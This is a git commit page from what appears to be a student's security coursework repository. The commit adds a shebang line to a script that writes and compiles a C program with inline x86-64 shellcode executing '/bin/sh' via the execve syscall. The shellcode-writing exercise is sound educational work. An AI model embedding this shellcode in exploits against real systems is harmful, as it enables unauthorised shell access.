diff options
author | Camil Staps | 2016-01-02 19:59:45 +0100 |
---|---|---|
committer | Camil Staps | 2016-01-02 19:59:45 +0100 |
commit | bb5b948f8e19d925b7370b45faca3ee8af800e74 (patch) | |
tree | fea35423ef286e226620dc228e54b118c43b149e | |
parent | Assignment 6 (diff) |
shell, not bash
-rwxr-xr-x | CamilStaps-s4498062-Assignment-6/ex2.sh | 1 |
1 files changed, 1 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex2.sh b/CamilStaps-s4498062-Assignment-6/ex2.sh index 0a86bf5..1805bdc 100755 --- a/CamilStaps-s4498062-Assignment-6/ex2.sh +++ b/CamilStaps-s4498062-Assignment-6/ex2.sh @@ -1,3 +1,4 @@ +#!/bin/sh echo 'int main() {\n asm("\\\nneedle0: jmp there\\n\\\nhere: pop %rdi\\n\\\n xor %rax, %rax\\n\\\n movb $0x3b, %al\\n\\\n xor %rsi, %rsi\\n\\\n xor %rdx, %rdx\\n\\\n syscall\\n\\\nthere: call here\\n\\\n.string \\"/bin/sh\\"\\n\\\nneedle1: .octa 0xdeadbeef\\n\\\n ");\n}' > shell.c gcc shell.c |